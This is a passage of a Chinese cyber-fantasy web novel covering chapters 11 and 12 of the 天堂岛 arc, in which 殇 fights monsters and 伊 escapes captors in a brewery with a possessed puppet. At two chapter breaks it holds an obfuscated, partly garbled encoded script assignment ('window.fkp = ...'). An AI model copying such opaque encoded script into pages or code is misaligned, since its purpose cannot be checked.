在一小段时间后,这些红毛怪终于耐不住性子发起了猛攻,顿时间所有红毛怪如潮水一样涌向了殇和修。见到红毛怪发起了进攻,殇后退了一步给修让出了位置。修见此前进了一步,然后汇聚核心能量,对准目标。 修: “光·剑刃风暴。” 瞬间,这几十把白光剑也如潮水一样涌向了这些红毛怪,每把白光剑都在空中以各不相同不同的轨迹飞行着,就好像是在舞台上跳舞的舞者一样在空中翩翩起舞。白光剑的浪潮迎面与红毛怪的浪潮相撞,在无数白光剑锐利的刀锋剐蹭下,一大片的红毛怪被切成了整齐的碎块。一批倒下了,很快另一批涌了上来。修早就预料的了这点,于是他瞬间改变阵法,让这些白光剑预定的轨迹向着红毛怪的浪潮中央汇聚。在所有光之剑汇聚到了一点的时候,修激活了他的最强攻击之一的光爆。在一道耀眼的光芒之后,一大片的红毛怪都变成了一对尘屑。但这还么完,又一批红毛怪出现了,它们见到同伴的死丝毫不慌,依旧勇猛地冲向殇和修。殇看了看额头上流着几滴汗的修,他明白,现在是属于他的进攻时刻了...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第十一话:地下酿酒厂 与此同时,在伊被囚禁的未知地点,被绑住双手双脚的伊思考怎么逃离这里。她之前尝试过挣脱束缚,她为此用尽了全身的力气,但是奈何她的力气太小,最后以失败告终。这里的光线有些昏暗,伊只能依稀看到自己的身体。空气之中弥漫着一种酒酿子的味道,这里貌似是什么酿酒的地方。在这种环境下,伊放平心态,认真思考策略。就在她思考的时候,突然,从她左手边方向传来了吱吱声,这种声音貌似是某种玩具发出的声音。听到这个声音,伊转头看向声音发出的方向,由于光线过于昏暗,伊只看到无边的黑暗。伊定睛看了一会,同时她静静地聆听着周围,那个吱吱声越来越近了。在过了一会后,吱吱声突然消失了。伊感觉有些害怕,她担心会有危险来攻击自己,毕竟现在的她压根没法还手,连逃跑都是个问题。突然,伊感觉到有什么东西抓住了她的胳膊,这种感觉使得伊被吓出了一身冷汗。那个东西慢慢地爬上了她的肩膀,伊十分害怕,她的心跳加速了。伊缓缓把头转了过去,这时一个蜘蛛毛绒玩偶就站在肩膀上看着她。伊和这个玩偶对视了一秒,接着这个玩偶突然动了一下,这着实给伊吓了一跳,她整个人差点仰倒在地上。更恐怖的是,这个玩偶竟然说活了。 小蜘蛛: “嘶嘶嘶~是新的食物哦!” 伊被吓得不敢动了。 “诶!小蜘蛛,别吓唬她了!” 这时,一个身穿红黑相见公主服的红眼娃娃出现在了伊的左手旁,她用手指着那个玩偶蜘蛛,命令它下来。玩偶蜘蛛听到命令后低下了头,然后从伊的肩膀上爬下来了。伊转头看向那个红眼娃娃,那个红眼娃娃做工十分的精致,无论是从面部细节还是身上的衣物,处处都透露着制作者的匠心。这个红眼娃娃很高,大约有一个篮球那么高。那个红眼娃娃此刻注意到伊在看着她,她赶忙摆弄了一下头发,然后冲着伊露出了甜甜的笑容。 蕾米特西亚: “(温柔)你好呀,这位白头发的姐姐。我叫蕾米特西亚,是个乖孩子哦。” 伊: “(无法说话)唔唔唔。” 蕾米特西亚: “(尴尬的微笑)忘了你还被绑着了......来,姐姐,我帮你解开。——小蜘蛛,快把刀片吐出来。” 小蜘蛛: “(点点头)嘶嘶嘶~” 那只蜘蛛玩偶从口中吐出了一块很小的刀片。蕾米特西亚拿起这块刀片走到了伊的身前,见到这个娃娃这么做,伊主动地把被绳子绑着的双手伸了过去。这个娃娃跳上伊的手,然后俯下身子用刀片慢慢割开了伊手上的绳子。在伊的双手解开束缚后,伊用手先解开了嘴上绑着的绷带,然后解开了脚上的绳子。在做完这一切后,伊长舒了一口气,然后转头对着这两个娃娃露出了感激的笑容。见到伊对她们笑,她们也对伊笑。 伊: “(感激)谢谢你们。” 蕾米特西亚: “(害羞)不用谢。” 小蜘蛛: “(害羞)嘶嘶嘶~不......不用谢。” 伊看了看周围,并仔细聆听了一下周围的声音。周围很安静,没有任何声音,看样子周围没人看守她。在确认周围没人后,伊仍有些不放心,保险起见,伊降低了声音对这两个娃娃说话。 伊: “(小声)蕾米,你知道能离开这里的路吗?” 蕾米特西亚: “(微笑)知道,姐姐。” 伊: “(小声)你能带我离开这里吗?” 蕾米特西亚: “(笑)好的呀!(害羞)但是嘛,你得抱着我。” 伊: “(惊讶)诶?” 蕾米特西亚: “(恳求)求求你了,姐姐。抱抱我好不好?就一会.......” 伊越看这个娃娃越觉得她像一个孩子,因为这种话语只有一个孩子才能说得出来。 伊: “(微笑)行。” 蕾米特西亚: “(高兴)好耶!” 这个娃娃笑着张开了双臂,就好像一个寻求关爱的孩子。由于体型的差距,伊没办法直接抱住她。于是她先用手轻轻地把她拿了起来,然后小心翼翼放在怀里抱着她。这个玩偶很高兴,她的表情表现出她很是享受,她仿佛对拥抱有着某种痴迷。这时,那只蜘蛛玩偶顺着伊的腿爬到了伊的肩膀上,这下两只玩偶伊都带上了。伊看了看肩上的蜘蛛玩偶,又看了看怀里的蕾米特西亚,她感觉自己仿佛回到了十年前,那时候她是个经常抱着娃娃的小姑娘...... 蕾米特西亚: “(突然感应到了什么)姐姐,你也是核心使者啊。” 伊: “(惊奇)嗯?你怎么知道?” 蕾米特西亚: “(微笑)我感觉到了呀。我的核心能够感应到你的核心。我的心连着你的心。” 伊: “(仿佛明白了什么)哦。” 蕾米特西亚: “(阴笑)现在,由我来引路吧。你只管走就行。” 伊: “(冷冷地)哦......” 伊的脸色逐渐暗淡了下来,她的眼睛发出了淡淡地红光。在她的背后,有着四根红色的绳子连着她的核心。她突然间低下了头,一动不动地站着。过了一会,她突然动了一下,紧接着她抬起了头,她迈着僵硬的步伐开始向着前方移动,她好似变成了一具傀儡。在她怀中的蕾米特西亚此刻脸上没有笑容,她的心里只有满满地愧疚。 蕾米特西亚: “(委婉)对不起了,姐姐。只能委屈你一下了......” 与此同时...... 殇正在向着目的地疾驰。他刚刚结束了一场无意义的战斗,肉体有些疲累,但他由于担心伊的安全,他顾不得休息就继续赶路。就在这个时候,突然有一个东西撞在了他的脸上。他立马停下脚步,检查一下到底是什么撞在了他的脸上,这时他发现撞在他脸上的东西竟是一个有着蝴蝶翅膀的小人,或者说小精灵。 殇: “(疑惑)怎么回事?这是个什么东西?” 这个小精灵突然使劲动了一下,殇本能地松了手,然后这个小精灵落在了地上。这个小精灵落地后,殇不忘俯下身子看了一眼。在殇后面跟着的小咒刀看到这个小精灵后立马认出了她,她就是之前偷偷跟随伊的流光蝶影。 小咒刀: “(惊讶)是她!她怎么会在这里?” 殇: “(疑)你认得这个东西?” 小咒刀: “认得。我在昏迷之前从植物园中碰到过她好几回。” 这时这个小精灵似乎是从刚刚的撞击之中缓了过来,她张开翅膀从地面上飞了起来。她转了一圈看了看周围,这时她注意到了殇。在见到殇后,她很是激动,她直接飞到了殇的面前。 流光蝶影: “(激动)殇!殇!终于找到你了!” 殇: “(淡定)你先别激动。告诉我,你是个什么东西?” 流光蝶影: “(激动)我叫流光蝶影,是个小精灵。你也可以叫我EcL-124。” 殇: “(明白了一些东西)哦,原来如此。” 小咒刀: “你这个家伙怎么跑这里来了?你不该在伊的头上‘装死’吗?” 殇: “(疑惑)在伊头上装死?怎么回事?” 小咒刀: “(突然醒悟)哦,淦!说漏嘴了。” 殇: “(惊奇)说漏嘴了?你和伊瞒了我什么事?” 小咒刀: “这个......” 流光蝶影: “(着急)先别说这件事了!殇。快点跟我来,我知道伊具体被关在了哪里。” 殇: “(冷静)好吧。这件事我们在把伊解救完后再说,现在先干正事。(指着流光蝶影)赶紧带路吧,流光蝶影。救伊要紧。” 流光蝶影: “好!” 接着,流光蝶影就带着殇和小咒刀向着前方不远处的大酒店赶去。在一段时间的奔波过后,殇他们来到了大酒店的前方。殇抬头望去,酒店大楼十分地高,估测得有八十多层。走进酒店大厅,内部很是气派,酒店内是大理石的地板,大厅内有着金纹大理石柱,顶部挂在黄金打造的吊灯,墙上挂着各种值钱的油画,大厅的中心还有着一尊由大理石打造的殇国王的雕像。整个酒店大厅看着格外气派,这里称得上这世界上少有的奢华之地了。殇走到了大厅中央,走到了那尊殇国王的雕像前。他仔细观察了一番,望着这座雕像,他意味深长地叹了一口气。他摸了摸这个雕像的大腿,他清楚地记得这个位置是自己曾经在战场上所留下的第一个伤口的位置。 殇: “(失落)很霸气,当年的风范丝毫没有遗失。但.......都是过去的事了。” 小咒刀: “殇,之前我就是在这个雕像上沉睡的。位置就是雕像的脚旁的那个一字型凹槽。” 殇: “(看了看那个位置)哦,原来如此啊。看来‘他们’想让你融入这个雕像,成为这个雕像的一部分。” 小咒刀: “(生气)他们怎么可以这么坏!” 殇: “谁知道呢。” 流光蝶影: “(着急)先别叙旧了,快跟我来。赶紧把伊救出来,一会他们的悬浮车来了就完蛋了!” 听到流光蝶影这么说,殇明白该去完成他该做的事了。他很不舍地摸了摸这座雕像,他抬头看着这尊雕像的脸,他只看到了占据了上半张脸的面具与他紧闭着的嘴和嘴边的胡子,他没有看到它的眼睛。他很想把它的面具摘下来,让他睁开眼睛,可他现在做不到。 殇心里: “拜拜了,过去的我。希望到路的尽头的时候,你不会恨现在的我。” 殇转头跟着流光蝶影向着酒店的深处走去,他背对着那尊雕像,心中充满了决心。流光蝶影带着殇来到了酒店员工区的一个电梯前,她按下了电梯按钮。殇见此有些疑惑,他问流光蝶影: “流光蝶影,你确定这样会有电梯来吗?这酒店都荒废多久了?” 流光蝶影: “(淡定)我那时候寻路的时候发现酒店内的备用电源被人启动,我猜应该是绑了伊的那群人干的。想不到这个备用电源的覆盖范围这么广,我来的时候就是坐着这个电梯上去的。” 殇: “(好奇)话说,伊到底被关在了个什么地方啊?” 流光蝶影: “(思考)让我想想......好像是酿酒的地方。那里弥漫着酒味,而且还有许多放在冷库里的葡萄,吃起来跟坚果似的。” 小咒刀: “不是?那时候了你还想着吃?你心可真大。” 流光蝶影: “(微笑)偷偷跟着伊那么久了,人家也饿了吗。” 小咒刀: “(惊讶)我去,你还会饿的吗?” 流光蝶影: “(微笑)当然了,我可是活着的生物。” 小咒刀: “怎么没把你牙给崩掉了呢?” 流光蝶影: “(生气)你这剑说话就不能好听一点吗?” 小咒刀: “好。NmSL。” 流光蝶影: “(生气)你怎么可以这样说话呢?!你就是把破剑,你才连妈都没有呢!我可是有爸有妈的小孩,不像你。” 小咒刀: “(笑)哦,我本来就没妈,我又不是谁从那地方生出来了。——听你这么一说,我们我觉得我们挺配的。你没有,我也没有。” 流光蝶影: “(生气)你你你你......气死人家了!” 殇: “诶诶诶,你们两个先别吵了。一会还要合作呢。我们现在要团结一致,不是内部搞分歧。” 流光蝶影: “(生气)哼!为了伊,这事就先不跟你计较了。” 过了一会,电梯门打开了。刚打开电梯门,殇的洞察者就被触发了,周围时间的流速一下子减慢了许多。殇这时看到电梯里有一个面部有着机械改造的枪手,他拿着一把动能步枪AR-47,他的表情很是惊讶,看样子貌似发现他们了。为了防止打草惊蛇,殇冲上前去夺过他手中的步枪用枪托直接砸晕了这个枪手。随即洞察者进入了休息时间,时间的流速恢复到了正常。 殇: “好险,差点就打草惊蛇了。” 流光蝶影: “(懵)刚刚发生了什么?殇,你怎么突然就把他打晕了?” 殇: “我的特殊能力,能让我达到你的眼睛跟不上的速度。” 殇把这个枪手拖出了电梯,然后找到一个隐秘的角落把他丢了进去。做完这些后,殇回到了电梯口,重新打开电梯门走进了电梯。殇看了看电梯的上的显示屏,有三个楼层,分别是:地下街、赌场、酿酒厂。 殇: “(指着显示屏)流光蝶影,我们该去哪个?” 流光蝶影: “最底下的酿酒厂,伊就在那里。” 殇按下了去酿酒厂的按钮。随即电梯门关上了,电梯缓缓下降。 殇: “到地方了你们两个小声点,别打草惊蛇。注意点安全。尤其是你,流光蝶影。” 流光蝶影: “(点点头)知道了。” 与此同时...... 在某个房间之中,里夫和他的同伴正在打牌。 里夫: “(放牌)对三。” 吉姆: “要不起。” 克里斯: “(放牌)对A。” 吉姆: “(放牌)对二。” 里夫: “(放牌)四个二!还剩两张。” 吉姆和克里斯: “不要。” 里夫: “(放牌)对三。完事。我赢了。” 吉姆: “(不甘)操!算你运气好。(小声嘀咕)真他妈倒霉,连续输三把了。” 克里斯: “(微笑)完美配合,兄弟。” 吉姆: “再来一把,我就不信了。我难道今天能连输四把?” 里夫: “还来?你再输就六颗子弹了。” 克里斯: “(笑)你上把开始的时候就这么说的。” 吉姆: “(自信)这把我一定赢!到时候给我看好了!” 这时,里夫的电话突然响了。里夫拿起电话一看,发现是杰老板打来的。 里夫: “先都闭嘴!客户来电话了。” 里夫站起身来推门出去来到了走廊,确保周围安静后接通了电话。 杰: “狂颅的那群小子!我们的悬浮车还有十五分钟就到地方,你们准备把人带到楼顶吧。” 里夫: “行。——那我们怎么办?” 杰: “上悬浮车,一起回去。” 里夫: “(笑)好的,老板。我们这就准备。” 杰: “希望你们不要出什么岔子,不然到时候交不了差有你们好果子吃的。我丑话说在前头。” 里夫: “(拍着胸脯)不用担心,老板。我们狂颅事务所,保证完成任务。” 说完,杰挂断了电话。随后里夫一行人前去关押伊的房间去找伊,这时他们发现伊消失了。他们心中一凉,心里感觉不妙。在短暂的商量之后,里夫一行人决定分头在酿酒厂里找伊。为了提高寻找的效率,克里斯决定去本楼层的监控室通过监控查找,其他人就拿着武器在本楼层徒步寻找。他们之间都有远处通讯用的义体,一旦其中有人发现目标,所有人都能知道目标的位置。 与此同时,殇他们已经来到了酿酒厂之中。酿酒厂里弥漫着酒气与酿酒产生的瓦斯,这种味道闻久了容易让人发醉,再久点很可能要命。酿酒厂内各种高级酿酒设备齐全,传送带、机械臂、远程系统操纵的运货机器人应有尽有。其中还有一条生产线还在源源不断地生成葡萄酒,这里仿佛还是之前的样子,这场疫病并没有让这里发生太多变化。酿酒厂内到处都堆积着酒桶,各种大小的都有。每个桶上都有金属标签,标签上明确地写着这个酒的名字与售价。这些酒桶里装的都是价格昂贵的高等红酒,这些都是市场上抢手的好货。 殇: “(慨叹)这些酒都是上乘的好货,起码得八百起步啊......都是有钱人喝得起的,穷人连看的权利都没有。很讽刺的是,这些东西竟然他妈的比人命值钱!这个世界怎么了?明明之前不是这样的啊......” 殇他们越往酿酒厂里进,酒味就越重。小咒刀的反应到不怎么明显,殇和流光蝶影的反应就十分明显了。殇只是有些晕,其他什么异常反应都没有。但流光蝶影就不一样了,她由于本身就小,她的脸现在已经涨红了,而且还有些发紫。她的翅膀扇动的速度越来越慢,最后她控制不住重心直接落了下来。殇眼疾手快一个健步用手接住了她。殇看了看手中的流光蝶影,他发现她已经是瓦斯中毒的状态了。 殇: “(叹了口气)哎......可怜的小家伙。挺一会,我带你去个空气清新的地方。” 小咒刀: “这家伙连飞都飞不起来了,真可怜。希望她能挺住吧。” 殇在周围找了一圈,他找到了一个空气一定清新的地方,但是这个地方的门用锁给锁上了。没等殇动手,小咒刀一个回旋就把锁砍掉了。殇推门进去了,这个地方是车间管理员的办公室,空气密闭,内部有空气净化器。他把流光蝶影放到了柔软的床上,然后为了保证她可以安全逃出去,殇打开了通风管道口。殇用办公室的纸和笔在桌子上留下了一张便条,以此来提醒她。殇用手轻轻地摸了摸流光蝶影的头,然后叹息了一声。 殇: “就让她在这好好呆着吧。小咒刀,我们走吧。” 小咒刀: “(关心)希望她没事吧。” 这时,突然有一个青色的小光球从流光蝶影的背后出现,这个小光球直直地飞进了殇的身体。殇收到了来自流光蝶影的祝福,他感觉到自己的力量变强了一点。殇走出房间关好了门,防止外面的瓦斯气体进入房间。在做完这些之后,他带着小咒刀在结构庞大的酿酒厂中寻找伊的身影。 此时,在伊这边。蕾米特西亚的控制能力似乎到极限了,伊渐渐从她的控制之中摆脱出来了。在伊清醒后,伊惊讶地发现自己来到酒品储存区之中。这里有着一排排放着巨大酒桶的夹子,在这些架子之间,有着几个正在装酒的机器人。望着周围陌生的景象,伊陷入了迷茫。 伊: “(疑惑)这里是哪里?我怎么跑到这里来了?” 蕾米特西亚: “(愧疚)姐姐......” 伊: “(看向自己抱着的娃娃)嗯?怎么了,蕾米特西亚?” 蕾米特西亚: “(愧疚)对不起,我那时操纵了你的躯体,才让你走到的这里。” 伊: “(恍然大悟)哦,原来这就是你的引路啊......(宽容)没关系的,蕾米特西亚。我知道你是真的想帮助我。” 蕾米特西亚: “(担心)姐姐,小心点周围。我感觉有些不太妙。” 这时,一阵脚步声从前面的架子后传来,透过酒桶之间的缝隙,伊看到了拿着枪的枪手。伊见此拔腿就跑,伊跑的时候不小心撞到了一个酒桶,酒桶被撞的声音吸引到了那名枪手的注意。那名枪手警觉了,他拿着枪急匆匆地向着声音发出的地方走去,这一下让伊慌了神。她抱着手中的娃娃在架子之间来回穿梭,她跑动时的声音被那名枪手听到了。随即这名枪手开始追逐伊,他没看到伊的身影,但是他可以通过敏锐的听觉来追踪她。就在那名枪手和伊只隔了一个架子的时候,伊发现了一个打开盖子的酒桶,她想了想身后的追兵,她顾不得那么多直接跳进了酒桶内。到了里面,伊才意识到自己走到了死胡同之中,她现在宛如瓮中之鳖,想跑也跑不了。现在她心里十分后悔自己做得这个决定,她这下真的跑不掉了。 伊: “(害怕)完了......这下要被抓了......” 枪手的声音越来越近,伊的心被提到了嗓子眼上,她现在只能默默祈祷。就在这千钧一发之际,酒桶的盖子被盖上了。顿时伊眼前一下子就黑了起来,过了一会,枪手的声音渐渐远去了。这下,伊松了口气。但没等她开始庆幸自己能逃脱,整个酒桶突然动了起来,酒桶被拿了起来。过了一会,酒桶被放到了一个机器里面。此刻在酒桶中,伊很是害怕,她紧紧地抱着怀里的娃娃,她仿佛又回到了小时候。这时,伊的胸口突然发出了光芒,光芒让酒桶内不再黑暗,伊的恐惧消失了许多。就在这时,伊怀里抱着的娃娃的额头发出了红色的光芒。一道如同丝带一般的光从伊的核心之中飞出,这条丝带在空中绕了几个弯,然后伸入了蕾米特西亚的额头之中。这时,伊感觉到了蕾米特西亚体内的核心,过了几秒,伊感觉到了她体内所储存的灵魂。 伊: “这种感觉......好奇怪。这就是灵魂交互的感觉吗?” 这时,酒桶的盖子突然打开了。伊抬头看去,她看到一个巨大的水龙头与一个身形矮小的机器人,她刚想说些什么,那个身形矮小的机器人就打开了阀门。如潮水一般的红酒水直接从这个水龙头中倾泻向酒桶内,伊刚想大声呼救,酒水就漫过了她的脖子,涌进了她的口中。就在伊即将被酒水完全淹没的时候,生产线出现了错误,给酒桶注酒的机器突然坏了,然后这个巨大的水龙头紧急关闸停止了继续注酒。酒桶的盖子又盖上了,然后这个酒桶被送回了之前的位置。在路上,蕾米特西亚见到情况不妙,立刻激活核心,接着用召唤出的刀捅漏了这个酒桶,让酒水慢慢流逝。在此期间,伊肩膀上的小蜘蛛一直在用核心能量反复刺激伊的身体,以此来保证伊不会死去。过了一会,酒桶内只有半桶酒了,而伊在小蜘蛛的拼命刺激下还保持生命,只不过她喝多了,现在已经是意识不清了。 这时,伊从一片收割过的玉米地之中醒了过来。她看了看周围,发现这里空无一人。这时,伊的头突然痛了起来, 伊: “(头疼)这里是哪里?(怀疑)我这是在做梦吗?” 这时,伊的前方突然出现了一个椅子,椅子上坐着一个面部被布蒙上的一个小孩,看样子年龄大约是十二岁。她的怀里抱着蕾米特西亚,她的衣服上有着许多血迹,她的四肢上绑着许多根诡异的红线。伊看到这样怪诞的场景,她没有任何害怕,反倒有些同情眼前的这个孩子。她走到了这个孩子的面前,突然这个孩子动了一下,她以为有什么坏人靠近了她,她紧紧地抱着怀中的娃娃,试图安慰自己,但她内心的恐惧已经是无法通过这种方式来抵消了的。 椿木美惠子: “(害怕)不要......不要过来......我真的不知道你们说的傀儡术!我更不知道我舅舅的去向!求你们了......放过我吧。” 伊: “(伸出手)别怕,孩子。我不是坏人。你需要什么帮助吗?” 椿木美惠子: “(害怕)不......不要!不要过来......” 这时伊的身后传出了一声枪响,一颗子弹射向了这个孩子。这颗子弹像幽灵一样穿过了伊的身体,然后打在了这个孩子的头上,鲜血顿时从命中部位流了出来,鲜血染红了这个娃娃的身体。伊转头看去,她看到了一个面戴面具的黑衣男子,他手里拿着一把手枪,枪口直指那个孩子的头。 伊: “(不解)你是谁?你为什么要杀了她?” 这个人似乎听不到伊的说话,他只是用手擦了擦他手中的枪,然后就转身离开了。伊刚想上前去找他理论,突然,她的裤脚突然被拉了一下。伊转头看去,是蕾米特西亚拉住了她的裤脚。 蕾米特西亚: “(失落)姐姐,这是我的记忆碎片,你是没法跟里面的人说话的。” 伊: “(好奇)所以,那个女孩是你吗?” 蕾米特西亚: “(点点头)没错,姐姐。那个女孩便是真正的我,她不叫蕾米特西亚,她叫椿木美惠子。蕾米特西亚只是我最爱的玩具的名字。” 伊: “(好奇)美惠子,那你是怎么变成娃娃的?” 蕾米特西亚: “(失落)因为我是傀儡师家族的孩子,而且我是这世界上唯一一个会使用我爷爷的活体傀儡术的人。我在死后通过傀儡术把你现在看到娃娃变成了活体傀儡,最后我附身到了这个傀儡上。成为了一个不会老死的娃娃。” 伊: “傀儡师家族?是传说之中那个会傀儡术的家族吗?” 蕾米特西亚: “没错。正因如此,我才惹来了杀身之祸。由于我的舅舅是臭名昭着的‘夺梦者’,都市之中的传奇傀儡师,所以上层联盟的人就像找我问出我舅舅的行踪。(委屈)但是我是真的不知道我舅舅的去向!他已经很久很久没来看过我了......” 伊: “(同情)原来如此啊。” 蕾米特西亚: “自从舅舅他被招入了殇王国的皇家战斗团,他就再也没回来过。那时候我才刚出生不久,这些事都是妈妈后来告诉我的。” 伊: “那你的家人呢?” 蕾米特西亚: “(失落)我爸爸和妈妈死在了与扭曲生物的战斗之中。我舅妈死在了都市猎人的手下。我表哥死在了一个叫‘都市野狼’的都市猎人手下。这个家族就只剩下我和舅舅了,而我现在只是个娃娃......” 伊: “(同情)原来是这样啊......抱歉,我不该问这些的。” 蕾米特西亚: “(坚强地笑)没事,姐姐。” 伊俯下身子很温柔地摸了摸蕾米特西亚的头,她为椿木美惠子的遭遇感到难过。 蕾米特西亚: “姐姐,你能帮我实现一个愿望吗?” 伊: “(点点头)可以的。” 蕾米特西亚: “我想和我奶奶团聚。如果你能去那边那个植物园的话,请你把我放到植物园的一角。我的奶奶会在植物园中散步,她会找到我的。” 伊回想起了之前被大火吞没的植物园,回想起自己在树林中遇到的那位老妇人,她的神情有些凝重。 伊: “行。我会让你和你的奶奶团聚的......” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第十二话:红色收尾人 与此同时...... 墨子邵和他同行的士兵已经来到了天堂岛之中,他们现在所处的位置是资料中预测殇会来到的天堂度假村之中。 李鹏: “(好奇)墨子邵,你说那家伙会来这里吗?我们都等了好几个小时了,怎么还不见他的踪影啊?” 墨子邵: “(冷静)据情报所说,殇的航船停在岸边迟迟不起航,推测是没油了。于是他就去了植物园,但是植物园发生了大火,里面的东西都烧得一干二净了。所以根据路程来推测,殇一定会来这里寻找燃料。” 李鹏: “可是情报是这么说,可他人跑哪里去了?” 王守军: “耐心等等吧,那家伙迟早会来的。时间问题而已。” 这时,天空中突然传来了微微的滋滋声,墨子邵他们抬头一看,发现一辆有着碧蓝世界标志的悬浮车呼啸着驶过他头顶上的天空,直直地向着远处的天堂大酒店的楼顶驶去。 墨子邵: “(看着天上的悬浮车)悬浮车?这个地方怎么会来悬浮车呢?” 李鹏: “(惊讶)卧槽,还是碧蓝世界的悬浮车!” 王守军: “(惊讶)啥?碧蓝世界?!碧蓝世界的悬浮车来这个鸟不拉屎的地方干什么?” 墨子邵思考了一下,他突然明白这辆悬浮车为何而来了。 墨子邵: “(恍然大悟)我知道了!还记得通缉令上悬赏100万的置顶活捉任务吗?要被活捉的那个名叫伊的姑娘和殇是在一起的,而且正巧他们就在天堂岛。根据碧蓝世界那群人的做事习惯,那么就一个可能了......(指着远处的天堂大酒店)殇就在那里。” 王守军: “(夸赞)不愧是守护皇帝的龙凤卫!墨子邵,你可真聪明啊。” 墨子邵: “事不宜迟,我们现在就去那里吧。” 与此同时...... 伊再次醒了过来,她的视角很是模糊。此刻,有一个人把她从酒桶里拖出来了。伊平躺在地上,她的怀里还抱着那个娃娃。她看着视线中模糊的身影,她似乎认出了那个身影。 伊: “(迷糊)殇......是你吗?” 殇: “(惊讶)卧槽!你他妈怎么搞的,怎么躲到这里来了?看你这脸红的,一定没少喝吧。真是服了你了,你思路清奇的小姑娘。这里安全了,我背你走吧。” 小咒刀: “主人喝醉了的样子还真是可爱呢。” 殇: “少耍嘴皮子。你这骚话剑。” 说完,殇就喝醉了的伊背了起来,她手中的娃娃在这个时候掉在了地上,殇看了一眼,他拿起了这个娃娃仔细观察了一番。他似乎从哪里见过这个娃娃,他似乎想起了什么。他带上了这个娃娃,然后背着伊就向着酿酒厂外面走去。酿酒厂内多了几具尸体,这几具尸体都是之前的枪手的尸体,尸体周围一片狼藉,可想而知之前发生了怎样的战斗。在走出酿酒厂之后,殇遇到了在这里等待多时的流光蝶影。在看到殇背着伊后,流光蝶影有些担心,她飞到殇的面前询问伊的状况。 流光蝶影: “(担心)殇,伊她怎么了?” 殇: “没什么,只是喝醉了。(不解)鬼知道她是怎么想的,躲酒桶里......” 小咒刀: “也许主人她是想靠这种方式躲开追杀?” 殇: “也许是吧。” 流光蝶影: “(放下心来)伊没事就好。” 殇: “先别废话了,我们先坐电梯离开这里吧。” 殇一行人刚坐上电梯,电梯内的显示屏就出现了乱码,接着整个电梯停在了某一楼层。 殇: “(疑惑)这他妈是怎么回事?关键时候怎么出岔子了?(看着显示屏上的乱码)等等......不对。是黑客攻击!我们被他妈的盯上了!” 流光蝶影: “(害怕)那可怎么办啊?我们就一直被困在这里吗?” 殇: “(冷静)不用担心,他肯定不会轻举妄动的。” 过了几秒,电梯内回响起了一个男人如人工智能一般的嗓音,同时电梯开始向着顶楼上升。 ???: “除了殇以外的人不必害怕我,我这次来只是找你的。不必试着跟我说话,这里的监控被那群赛博疯子弄坏了。我知道你的身份,殇。但是我跟你并没有什么恩怨,我只是收钱办事。到了顶楼之后我建议你把那个小姑娘放在一边,不然我要是失手把她打死了我可不负责。毕竟......要死的,只有你一个。” 听到这些后,殇竟有些紧张,因为在知道他的身份的情况下还敢说出这种话的人绝不是一般人,所以他将面对的绝不是之前好解决的都市猎人,而是一个真正的强者。 流光蝶影: “(担心)殇,接下来怎么办啊?” 殇: “(淡定)你看好伊,我去处理那个人。毕竟他要杀的,只有我一个。” 小咒刀: “主人,带我一个。我也去!” 殇: “行吧,你算剑,不算人。应该不算我欺负他。” 电梯停下了,现在已经来到了楼顶。电梯门缓缓打开,一阵凉风扑面而来。在楼顶上,殇看到了碧蓝世界的员工正在与一个黑衣女人和一位有着红色高科技盔甲的战士交谈。他们聊了什么殇不得而知,但是从碧蓝世界的员工的表情来看,他们是十分害怕与恐惧的。碧蓝世界的员工很快回到了停在停机坪上悬浮车之中,然后悬浮车起飞离开了这里。在处理完这些后,那个女人和那个有着红色高科技铠甲的战士转过身来看着殇。在她们转过身后,殇看清了她们的样子。 那个黑衣女子身穿一身高级带帽战斗服,头戴兜帽,面戴口罩,看起来格外神秘。她有着夜空一般的黑色的长发,如树叶一般绿色的双眼。她的刘海遮住了她半只左眼。她的眼睛周围有着赛博改造过的痕迹,她也许有着一些赛博能力。她的表情很严肃,看起来像是位强大的战士。 那个黑衣女子身旁的战士全身覆盖着红色的盔甲,他的背后有着由十几根底部有着菱形尖头的黑色电线构成的条状披风,满满的科技感。他是个完成了机械进化的人类,他体内不再是人类该有的样子,他已经放弃了自己身为正常人类的权利。他的身体之中充斥着各种机械零件,这些机械零件替代了他原本的器官,使得他更加强大。他的眼部有着一条很粗的横线,这个横线是他的眼睛,也是他用于录像与记录战斗的摄像机。电流就是他的血液,电路就是他的血管,他体内的一呼一吸就是马达功率的一高一低。除了大脑以外,他的身上都是机械。他的身形魁梧,身高有一米九,其力气远超正常人不知多少倍,就连健美冠军都没有他的力气大。他内部配备了各种奇点造物,包括他本身,也是奇点科技的造物。 艾芙琳: “(冷酷无情)你好啊,殇。哦,对。差点忘了。你先把你背上的姑娘放到一边吧,先给你一些做好心里准备的时间。” 殇: “(疑惑)你们这是要搞什么幺蛾子?” 艾芙琳: “(冷酷无情)说话也算时间哦。” 殇心里: “先看看再说。” 殇把背上的伊放在了楼顶凸出的一个平台旁边,让她靠着这个平台躺着。殇把那个娃娃放在伊的旁边。 殇: “流光蝶影,看好她。” 流光蝶影: “知道了。” 殇转身走向了艾芙琳她们。艾芙琳见到殇靠近自己后,按下了太阳穴处的装置开关,然后她的瞳孔变成了金色。 艾芙琳: “(微笑)你好啊,殇先生。或者说,殇老爷子。自我介绍一下,我名叫寰,是三角协会的三大管理员之一。很高兴我今天能通过这种方式与您见面。” 殇: “(不耐烦)别磨磨唧唧的,有事说事。” 艾芙琳: “(微笑)你还真是不讨人喜欢呢,以前我记得那时候您可是位受尽国民爱戴的英雄啊......可惜你在犯下那么多错误之后只剩下了满身的骂名,真是可怜啊......” 殇: “(不耐烦)操!你可真他妈会说话。要不是你人没在这里,我早就揍你了。” 艾芙琳: 